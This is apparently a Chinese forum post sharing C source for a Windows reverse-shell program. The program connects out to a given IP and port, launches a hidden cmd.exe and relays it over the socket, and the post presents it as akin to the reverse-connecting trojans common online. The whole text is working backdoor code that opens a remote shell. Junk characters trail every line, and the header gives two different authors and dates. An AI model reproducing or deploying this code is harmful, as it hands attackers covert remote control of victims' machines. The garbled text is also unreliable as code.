这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uD*s^
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/* ============================== }rAN2D]"}
Rebound port in Windows NT ,+5VeRyrV
By wind,2006/7 Z?j='/u>@
===============================*/ R.WsC bU
#include 'I01F:`
#include N\?Az668?
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#pragma comment(lib,"wsock32.lib") {p_vR/yN
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void OutputShell(); V;+$/>J`vB
SOCKET sClient; Gy Xs{*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Tk|;5^#H
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void main(int argc,char **argv) -D^y)
{ EvardUB)
WSADATA stWsaData; p(&o'{fb
int nRet; Y`_X@Q
SOCKADDR_IN stSaiClient,stSaiServer; Dqcu$V]
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if(argc != 3) ~ FrkLP
{ r D!.N
printf("Useage:\n\rRebound DestIP DestPort\n"); |>fS"u
return; `]I5WTt*X
} 3usA
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WSAStartup(MAKEWORD(2,2),&stWsaData); :W<,iqSCm
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WuQ<AS=
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stSaiClient.sin_family = AF_INET; H?bsK~
stSaiClient.sin_port = htons(0); e8uIh[+ 0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /Rcd}rO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =
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{ b0x0CMf
printf("Bind Socket Failed!\n"); $m0x8<7nu
return; =4\~M"[p
} ,(kXF:
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stSaiServer.sin_family = AF_INET; KGLhl;a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >oaEG5%d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L<>NL$CrN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _*B~ESC0
{ ysn[-l#
printf("Connect Error!"); fB"gM2'
return; Cspm\F
} 92ww[+RQ@
OutputShell(); \kGtYkctZ
} 7tO$'q*h
U;dt-3?=.h
void OutputShell() [?6D1b[
{ tnbs]6
char szBuff[1024]; +dpj?
SECURITY_ATTRIBUTES stSecurityAttributes; 3EX&.OL!
OSVERSIONINFO stOsversionInfo; v?=VZ~`O(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qvT+d
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STARTUPINFO stStartupInfo; mSw?iL
char *szShell; `V2j[Fz
PROCESS_INFORMATION stProcessInformation; gbv[*R{<%
unsigned long lBytesRead; pXEVI6 }
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z8n%=(He
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ewPd hCK
stSecurityAttributes.lpSecurityDescriptor = 0; ?(UXK hs
stSecurityAttributes.bInheritHandle = TRUE; kAQ Zj3P]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $ttr_4=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fv'P!+)t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;pK"N:|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -2Cf)>`v
stStartupInfo.wShowWindow = SW_HIDE; w/Dm
stStartupInfo.hStdInput = hReadPipe; K T72D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5kZ yiC*
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GetVersionEx(&stOsversionInfo); ^`5Yxpz
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switch(stOsversionInfo.dwPlatformId) QHz76i!=>
{ p<['FRf"
case 1: !+ hgKZ]
szShell = "command.com"; {!bJ.O
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break; t[ocp;Q
default: T mE4p
szShell = "cmd.exe"; 0|vWwZq
break;
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} ~?+m=\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m;1e xa
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send(sClient,szMsg,77,0); 5i&V ~G
while(1) rmoEc]kt]
{ ^Exq=oV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n=MYv(Pp}
if(lBytesRead) k~F/Ho+R&
{ Vs(Zs[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -iX!F~qS,
send(sClient,szBuff,lBytesRead,0); [6qP;
} FJiP>S[]
else N Uml"
{ BJrNbo;T
lBytesRead=recv(sClient,szBuff,1024,0); _(
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if(lBytesRead<=0) break; oIgj)AY<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j"=jK^
} e-t`\5b;
} {<BK@U
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return;
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}